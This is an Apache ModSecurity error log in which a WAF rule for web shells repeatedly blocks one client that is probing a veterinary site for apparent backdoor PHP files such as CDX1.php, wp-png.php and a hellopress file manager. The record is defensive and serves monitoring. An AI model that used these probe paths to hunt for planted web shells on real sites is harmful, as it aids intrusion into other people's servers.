[Fri Apr 10 04:07:14.304126 2026] [:error] [pid 47364:tid 47424] [client 20.100.175.19:59547] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adgG8uNJgQtuqPx5Ja3XVAAAAFU"]
[Fri Apr 10 04:07:14.930889 2026] [:error] [pid 47364:tid 47418] [client 20.100.175.19:58406] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adgG8uNJgQtuqPx5Ja3XVgAAAE8"]
[Fri Apr 10 04:07:15.517498 2026] [:error] [pid 47364:tid 47417] [client 20.100.175.19:59465] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adgG8-NJgQtuqPx5Ja3XVwAAAE4"]
[Fri Apr 10 04:07:16.180395 2026] [:error] [pid 47364:tid 47411] [client 20.100.175.19:59458] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adgG9ONJgQtuqPx5Ja3XXAAAAEk"]
[Fri Apr 10 04:07:17.441627 2026] [:error] [pid 47364:tid 47423] [client 20.100.175.19:59490] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adgG9eNJgQtuqPx5Ja3XYgAAAFQ"]
[Fri Apr 10 04:07:18.488462 2026] [:error] [pid 47461:tid 47470] [client 20.100.175.19:58408] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adgG9tE7fUndOOkEYa0eDgAAAMI"]
[Fri Apr 10 04:07:19.545765 2026] [:error] [pid 47461:tid 47492] [client 20.100.175.19:59493] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adgG99E7fUndOOkEYa0eEAAAANc"]
[Fri Apr 10 04:07:20.338221 2026] [:error] [pid 47362:tid 47386] [client 20.100.175.19:59466] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adgG-KusZYmC2RcI8KFSAAAAAAw"]
[Fri Apr 10 04:07:21.532443 2026] [:error] [pid 47461:tid 47480] [client 20.100.175.19:58853] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adgG-dE7fUndOOkEYa0eEQAAAMs"]
[Fri Apr 10 04:07:23.658673 2026] [:error] [pid 47364:tid 47417] [client 20.100.175.19:58416] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "adgG--NJgQtuqPx5Ja3XaAAAAE4"]
[Fri Apr 10 04:07:25.204033 2026] [:error] [pid 47364:tid 47410] [client 20.100.175.19:59460] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "adgG_eNJgQtuqPx5Ja3XagAAAEg"]
[Fri Apr 10 04:07:26.158816 2026] [:error] [pid 47461:tid 47470] [client 20.100.175.19:59475] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "adgG_tE7fUndOOkEYa0eIQAAAMI"]
[Fri Apr 10 04:07:27.112908 2026] [:error] [pid 47368:tid 47437] [client 20.100.175.19:57306] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jp.php"] [unique_id "adgG_xwf-BZ7wLnxR-kFiwAAAIc"]
[Fri Apr 10 04:07:28.308896 2026] [:error] [pid 47461:tid 47474] [client 20.100.175.19:59576] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "adgHANE7fUndOOkEYa0eKgAAAMU"]
[Fri Apr 10 04:07:29.991160 2026] [:error] [pid 47368:tid 47448] [client 20.100.175.19:59579] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "adgHARwf-BZ7wLnxR-kFjgAAAJI"]
[Fri Apr 10 04:07:32.695828 2026] [:error] [pid 47364:tid 47405] [client 20.100.175.19:59463] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "adgHBONJgQtuqPx5Ja3XbgAAAEM"]
[Fri Apr 10 04:07:33.888662 2026] [:error] [pid 47364:tid 47412] [client 20.100.175.19:8447] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "adgHBeNJgQtuqPx5Ja3XcAAAAEo"]
[Fri Apr 10 04:07:35.801913 2026] [:error] [pid 47364:tid 47424] [client 20.100.175.19:58401] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "adgHB-NJgQtuqPx5Ja3XcQAAAFU"]
[Fri Apr 10 04:07:37.808395 2026] [:error] [pid 47461:tid 47489] [client 20.100.175.19:58820] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "adgHCdE7fUndOOkEYa0eRQAAANQ"]
[Fri Apr 10 04:07:39.069737 2026] [:error] [pid 47461:tid 47470] [client 20.100.175.19:58832] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "adgHC9E7fUndOOkEYa0eRwAAAMI"]
[Fri Apr 10 04:07:40.080918 2026] [:error] [pid 47461:tid 47475] [client 20.100.175.19:8200] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "adgHDNE7fUndOOkEYa0eSAAAAMY"]
[Fri Apr 10 04:07:41.698385 2026] [:error] [pid 47368:tid 47447] [client 20.100.175.19:59893] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adgHDRwf-BZ7wLnxR-kFmAAAAJE"]
[Fri Apr 10 04:07:43.888132 2026] [:error] [pid 47368:tid 47435] [client 20.100.175.19:59476] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adgHDxwf-BZ7wLnxR-kFmgAAAIU"]
[Fri Apr 10 04:07:45.609929 2026] [:error] [pid 47461:tid 47481] [client 20.100.175.19:59497] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adgHEdE7fUndOOkEYa0eUQAAAMw"]
[Fri Apr 10 04:07:47.283215 2026] [:error] [pid 47362:tid 47393] [client 20.100.175.19:59872] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adgHE6usZYmC2RcI8KFSKgAAABM"]
[Fri Apr 10 04:07:49.341488 2026] [:error] [pid 47364:tid 47427] [client 20.100.175.19:58876] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adgHFeNJgQtuqPx5Ja3XdAAAAFg"]
[Fri Apr 10 04:07:50.961395 2026] [:error] [pid 47368:tid 47431] [client 20.100.175.19:8240] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adgHFhwf-BZ7wLnxR-kFpAAAAIE"]
[Fri Apr 10 04:07:51.867846 2026] [:error] [pid 47364:tid 47411] [client 20.100.175.19:58872] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adgHF-NJgQtuqPx5Ja3XdwAAAEk"]
[Fri Apr 10 04:07:53.445513 2026] [:error] [pid 47368:tid 47437] [client 20.100.175.19:58864] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adgHGRwf-BZ7wLnxR-kFqwAAAIc"]
[Fri Apr 10 04:07:54.201428 2026] [:error] [pid 47368:tid 47435] [client 20.100.175.19:58859] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adgHGhwf-BZ7wLnxR-kFrgAAAIU"]
[Fri Apr 10 04:07:55.775828 2026] [:error] [pid 47368:tid 47448] [client 20.100.175.19:59840] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adgHGxwf-BZ7wLnxR-kFrwAAAJI"]
[Fri Apr 10 04:10:04.513112 2026] [:error] [pid 12575:tid 12642] [client 20.100.175.19:58382] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws87.php"] [unique_id "adgHnCjFTOT5X6zsPCk--AAAAFQ"]
[Fri Apr 10 04:10:05.678582 2026] [:error] [pid 12574:tid 12616] [client 20.100.175.19:58426] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws87.php"] [unique_id "adgHnXw-1tvJISKJyrTLcgAAABY"]
[Fri Apr 10 04:10:06.693625 2026] [:error] [pid 12574:tid 12600] [client 20.100.175.19:8401] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws87.php"] [unique_id "adgHnnw-1tvJISKJyrTLdgAAAAY"]
[Fri Apr 10 04:10:07.615321 2026] [:error] [pid 12685:tid 12710] [client 20.100.175.19:59462] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws87.php"] [unique_id "adgHn88f5ssYShsynapKRAAAANc"]
[Fri Apr 10 04:10:08.680377 2026] [:error] [pid 12576:tid 12669] [client 20.100.175.19:8399] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "adgHoAZp1JUS4li1Qnuf8QAAAJQ"]
[Fri Apr 10 04:10:09.641838 2026] [:error] [pid 12576:tid 12663] [client 20.100.175.19:58418] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "adgHoQZp1JUS4li1Qnuf8gAAAI4"]
[Fri Apr 10 04:10:10.772838 2026] [:error] [pid 12574:tid 12610] [client 20.100.175.19:59571] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "adgHonw-1tvJISKJyrTLfwAAABA"]
[Fri Apr 10 04:10:13.385611 2026] [:error] [pid 12574:tid 12602] [client 20.100.175.19:58402] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "adgHpXw-1tvJISKJyrTLhAAAAAg"]
[Fri Apr 10 04:10:14.911620 2026] [:error] [pid 12575:tid 12635] [client 20.100.175.19:59529] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "adgHpijFTOT5X6zsPCk_AgAAAE0"]
[Fri Apr 10 04:10:15.600800 2026] [:error] [pid 12574:tid 12608] [client 20.100.175.19:59472] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "adgHp3w-1tvJISKJyrTLiQAAAA4"]
[Fri Apr 10 04:10:16.448853 2026] [:error] [pid 12574:tid 12597] [client 20.100.175.19:58380] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "adgHqHw-1tvJISKJyrTLiwAAAAM"]
[Fri Apr 10 04:10:17.750187 2026] [:error] [pid 12574:tid 12617] [client 20.100.175.19:59903] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "adgHqXw-1tvJISKJyrTLjwAAABc"]
[Fri Apr 10 04:10:19.802869 2026] [:error] [pid 12575:tid 12622] [client 20.100.175.19:59575] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "adgHqyjFTOT5X6zsPCk_CAAAAEA"]
[Fri Apr 10 04:10:20.863065 2026] [:error] [pid 12574:tid 12615] [client 20.100.175.19:59543] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "adgHrHw-1tvJISKJyrTLlAAAABU"]
[Fri Apr 10 04:10:22.210080 2026] [:error] [pid 12574:tid 12596] [client 20.100.175.19:59530] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "adgHrnw-1tvJISKJyrTLmQAAAAI"]
[Fri Apr 10 04:10:23.201566 2026] [:error] [pid 12576:tid 12660] [client 20.100.175.19:59867] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "adgHrwZp1JUS4li1Qnuf-AAAAIs"]
[Fri Apr 10 04:10:25.306608 2026] [:error] [pid 12685:tid 12698] [client 20.100.175.19:59520] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adgHsc8f5ssYShsynapKZQAAAMs"]
[Fri Apr 10 04:10:26.006523 2026] [:error] [pid 12576:tid 12665] [client 20.100.175.19:59500] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adgHsgZp1JUS4li1QnugAAAAAJA"]
[Fri Apr 10 04:10:26.968461 2026] [:error] [pid 12576:tid 12664] [client 20.100.175.19:59482] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adgHsgZp1JUS4li1QnugAgAAAI8"]
[Fri Apr 10 04:10:29.486062 2026] [:error] [pid 12576:tid 12671] [client 20.100.175.19:58857] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "adgHtQZp1JUS4li1QnugCwAAAJY"]
[Fri Apr 10 04:10:30.830571 2026] [:error] [pid 12574:tid 12600] [client 20.100.175.19:59532] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "adgHtnw-1tvJISKJyrTLpQAAAAY"]
[Fri Apr 10 04:10:32.198138 2026] [:error] [pid 12685:tid 12695] [client 20.100.175.19:59469] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "adgHuM8f5ssYShsynapKbwAAAMg"]
[Fri Apr 10 04:10:34.512658 2026] [:error] [pid 12576:tid 12672] [client 20.100.175.19:59570] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "adgHugZp1JUS4li1QnugEQAAAJc"]
[Fri Apr 10 04:10:37.094944 2026] [:error] [pid 12574:tid 12597] [client 20.100.175.19:59858] [client 20.100.175.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "adgHvXw-1tvJISKJyrTLqwAAAAM"]
